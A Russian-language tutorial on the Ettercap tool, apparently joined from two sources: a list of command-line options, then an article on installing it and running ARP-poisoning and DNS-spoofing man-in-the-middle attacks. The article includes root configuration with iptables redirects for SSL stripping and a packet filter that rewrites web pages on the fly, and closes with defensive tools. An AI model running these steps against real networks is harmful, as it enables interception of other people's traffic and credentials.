-H, —hosts <IP-a дрес 1 [,IP-a д pec2] . . . > — задает узлы, сканируемые при запуске.

-d, —dontresolve — не преобразовывать IP-адреса в доменные имена при запуске.

-i, —ifасе <интерфейс > — задает интерфейс для сканирования.

-n, —netmask <маска > — задает маску, определяющую сеть для сканирования.

-e, —etterconf <файл > — задает конфигурационный файл, из которого читаются опции командной строки.

-t, —linktype — заставляет программу проверить, имеется ли в сети комму­татор.

-j, —loadhosts <файл > — задает файл, из которого загружается список узлов.

-k, —savehosts — сохранение списка узлов в файле.

-v, —version — заставляет программу проверить наличие обновленной вер­сии Ettercap.

-h, —help — вывод синтаксической справки.

Опции «бесшумного» режима:

-u, —udp — перехватывать только UDP-пакеты.

-R, —reverse — анализ всех соединений, кроме того, которое задано в ко­мандной строке.

-О, —passive — режим пассивного сканирования.

-р, —plugin <модуль > — запуск внешнего подключаемого модуля.

-l, —list — получение списка всех узлов локальной сети.

-С, —collect — получение списка всех учетных записей и паролей узлов, заданных в командной строке.

-f, —fingerprint <узел > — анализ типа операционной системы для заданного узла.

-x,—hexview — отображение данных в шестнадцатеричном виде.

-L, —logtofile — запись данных в журнальный файл.

-q, —quiet — запуск в фоновом режиме.

-w, —newcert — создание нового файла сертификата для атаки типа «неза­метный посредник» на сеансы HTTPS.

-F, —filter <файл > — загрузка правил фильтрации из указанного файла.

-с, —check — заставляет программу проверить, не пытается ли кто-то другой перехватить ее собственный трафик.

При вызове программы без опций (точнее, без опции -N) она запускается в интер­активном режиме. Окно программы разделено на три части. В верхней части отображается диаграмма соединения с указанием двух взаимодействующих узлов (первоначально эта часть окна может быть пустой). В средней части окна приводится список узлов, найденных в ло­кальной сети. Точнее говоря, отображаются два одинаковых списка, из которых можно выбрать два узла для создания диаграммы соединения. Чтобы выбрать узел в левой ко­лонке, переместите на него курсор и нажмите . Затем нажмите <Таb> для перехода в правую колонку и повторите процедуру. В результате в верхней части окна появится диаграмма соединения, а в средней части отобразится список соединений, установлен­ных в данный момент между двумя узлами, с указанием портов отправителя и получателя, как видно на рисунке ниже.

В нижней части окна отображается дополнительная информация о выбран­ных узлах. Чтобы получить список доступных команд, нажмите , в результате чего появится окно справки.0

После того как соединение взято под контроль, можно приступать к анализу данных. Разрешается направлять перехваченные данные в файл, вмешиваться в ход сеанса и выполнять множество других задач, включая уничтожение сеанса.

Приведем ряд примеров, демонстрирующих особенности запуска программы Etter­cap. В первом примере программа запускается в интерактивном режиме и осуществляет пассивный сбор данных.

Ettercap - это утилита для анализа сетевого трафика, проходящего через интерфейс компьютера, но с дополнительной функциональностью. Программа позволяет выполнять атаки типа "Человек посередине" чтобы заставить другой компьютер передавать пакеты не маршрутизатору, а вам.

С помощью Ettercap вы можете проверить безопасность своей сети, насколько она подвержена такого типа атакам, а также анализировать трафик из нескольких компьютеров, и даже модифицировать его на лету. В этой статье мы рассмотрим как пользоваться Ettercap для анализа и модификации трафика.

По умолчанию компьютер отправляет все сетевые пакеты, которые нужно отправить в интернет передает маршрутизатору, а тот, в свою очередь, отправляет их на следующий маршрутизатор, пока пакет не достигнет цели. Но по определенным причинам пакет может передаваться не маршрутизатору, а сразу вашему компьютеру, а уже затем маршрутизатору.

Компьютер, через который будут проходить пакеты может анализировать источник, целевой адрес, а если они не зашифрованы, то и полное их содержимое.

Существует два способа выполнения MITM (Man In Middle Attack):

  • ARP атака - с помощью особенностей протокола ARP ваш компьютер говорит другим, что он маршрутизатор, после этого все пакеты начинают предаваться ему;
  • DNS атака - когда компьютер пытается получить ip адрес для домена, мы подменяем этот адрес на свой, но чтобы этот вид работал, нужно использовать способ с ARP.

Программа Ettercap Linux умеет выполнять оба вида атак. Кроме того, утилита может выполнять атаки на отказ в обслуживании и сканировать порты. А теперь давайте рассмотрим как выполняется установка и использование Ettercap.

Установка Ettercap

Это довольно популярная программа, среди специалистов по сетевой безопасности, поэтому она есть в официальных репозиториях большинства дистрибутивов. Например, чтобы установить Ettercap в Ubuntu выполните:

sudo apt install ettercap-gtk

В Fedora или других, основанных на ней дистрибутивах, команда будет выглядеть похожим образом:

sudo yum install ettercap-gtk

С задачей как установить Ettercap Linux мы справились, но перед тем, как ее использовать, нужно изменить несколько настроек в конфигурационном файле.

sudo vi /etc/ettercap/etter.conf

Строки ec_uid и ec_gid должны иметь значение 0, чтобы сервис программы работал от имени суперпользователя:


ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Они используются для перенаправления SSL соединений на обычные HTTP, если это возможно. Дальше сохраните изменения и программа готова к работе.

Использование Ettercap GUI

Программа может работать в нескольких режимах - с графическим интерфейсом, без и в виде сервиса. Мы будем рассматривать работу в графическом интерфейсе. Для запуска программы с интерфейсом GTK используйте опцию -G:

sudo -E ettercap -G

Атака ARP-poisoning в Ettercap

Как я уже говорил, с помощью этой атаки мы можем заставить целевой компьютер отправлять пакеты не маршрутизатору, а нам. Работает все достаточно просто. Компьютер знает IP маршрутизатора, он получил его при подключении к сети. Но каждый раз, когда ему нужно отправить пакет, нужно преобразовать этот универсальный IP адрес в низкоуровневый адрес используемой сетевой технологии, например, для проводного интернета - это MAC адрес.

Для этого используется протокол ARP. Компьютер отправляет запрос всем устройствам в сети, например "кто такой 192.168.1.1" и маршрутизатор, увидев свой адрес отправит в ответе свой MAC. Дальше он будет сохранен в кэше. Но мы можем с помощью Ettercap попросить целевой компьютер обновить свой ARP кэш и передать ему вместо MAC адреса роутера свой MAC адрес. Тогда все пакеты будут передаваться нам, а уже мы отправим их куда нужно.

Перейдем ближе к делу и выполним атаку attercap arp spofing. В Ettercap откройте меню Sniff и выберите Unified Snifing. Затем выберите ваш сетевой интерфейс, например, eth0 или wlan0:

Окно программы измениться и нам будет доступно намного больше функций. Теперь нужно просканировать сеть. Для этого откройте меню Hosts и нажмите Scan hosts. Если даже что-то не работает, то вы можете загрузить список хостов из файла:

Чтобы начать атаку нам нужно указать цель 1 и цель 2. В качестве первой цели нужно указать ip машины, которую мы собрались атаковать, а в качестве цели 2 - ip маршрутизатора. Для добавления целей используйте кнопки Add Target 1 и Add Traget 2 :

В открывшемся окне отметьте пункт Sniff remote connections , чтобы перехватывать все удаленные соединения от этого компьютера:

Теперь, для запуска процесса подмены в меню Start выберите Start Sniffing.

После этого программа начнет отправлять в сеть пакеты, с запросом для 192.168.1.3 на обновление кэша ARP и замены MAC адреса маршрутизатора на ваш. Атака запущена и успешно выполняется. Вы можете открыть меню View -> Connections и посмотреть активные соединения для целевого устройства:

Если пакет не был зашифрован, то мы можем посмотреть передаваемую информацию клинув по соединению мышью. Слева отображается отправленная информация, а справа - полученная:

Атака DNS-spoofing с помощью Ettercap

Для преобразования имен сайтов в IP адреса сети используется специальная служба - DNS. Когда компьютеру нужен ip сайта он спрашивает его у DNS сервера. Но если вы уже выполняем MITM атаку, то можем подменить ответ сервера таким образом, чтобы вместо IP сервера сайта возвращался наш IP. Сначала нам нужно отредактировать файл /etc/ettercap/etter.dns:

sudo vi /etc/ettercap/etter.dns

google.com.ua A 127.0.0.1

Эта запись означает, что мы подменим основной IP google.com.ua на 127.0.0.1. Обратите внимание, что эта атака не выполняется без предыдущей. Дальше откройте меню Plugins -> Manage Plugins :

Затем два раза кликните по плагину dns_spoof :

Плагин будет активирован и вы можете проверять ip на устройстве. DNS действительно подменяется. Например, вы можете выполнить на целевой машине:

ping google.com.ua

ping www.ettercap.org

Кроме этих плагинов, существуют и другие, с помощью которых вы можете выполнять нужные действия.

Фильтры Ettercap

Фильтры позволяют модифицировать пропускаемые через программу пакеты прямо на лету. Вы можете отбрасывать пакеты, либо вносить в них необходимые изменения с помощью функции replace. Фильтры тоже работают только пока запущена MITM атака. Синтаксис условий, по которым мы будем фильтровать пакеты очень похож на wireshark. Давайте рассмотрим простенький фильтр, который будет заменять все картинки на нашу:

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
replace("IMG SRC=", "img src=\"https://pbs.twimg.com/profile_images/655061121007616000/NCV0qQnS.png\" ");
msg("Filter Ran.\n");
}

Для тех, кто имел опыт работы с языками программирования здесь должно быть все понятно. Если протокол TCP и порт назначения 80, мы продолжаем поиск и ищем Accept-Encoding. Затем заменяем это слово на любое другое, но эквивалентное по длине. Потому что если браузер будет отправлять Accept-Encoding gzip, то данные будут сжаты и мы там ничего не отфильтруем. Дальше уже в ответе сервера, порт источника 80, мы подменяем все изображения на наше. Теперь фильтр нужно скомпилировать:

etterfilter test.filter -o test.ef

Осталось загрузить фильтр с помощью меню Filters -> Load Filter :

Выберите файл фильтра в файловой системе:

Фильтр будет загружен и вы можете открыть любой сайт, где не используется https чтобы убедиться, что все работает. Чтобы остановить MITM атаку, откройте меню MITM и выберите Stop All Mitm attacks . Наша инструкция Ettercap подходит к концу, но...

Как защититься?

Наверное, после прочтения статьи у вас возник резонный вопрос, как же защитить свой компьютер от такого вида атак? Для этого есть несколько инструментов, в том числе для операционной системы Linux:

  • XArp - графическая утилита, которая может обнаруживать попытки подмены MAC адресов по протоколу ARP и противодействовать этому. Может работать в WIndows и в Linux;
  • Snort - достаточно известная система противодействия вторжениям, среди прочего обнаруживает атаки на протокол ARP;
  • ArpON - небольшой сервис, который следит за ARP таблицей и защищает ее от подмены MAC адресов.

Выводы

В этой статье мы рассмотрели как пользоваться Ettercap - программой для анализа сетевых пакетов и выполнения атак типа "Человек посередине". Используйте программу только для тестирования безопасности своих сетей или приложений, а также не забывайте что незаконные действия в информационном пространстве тоже наказуемы.

На завершение видео с демонстрацией работы программы: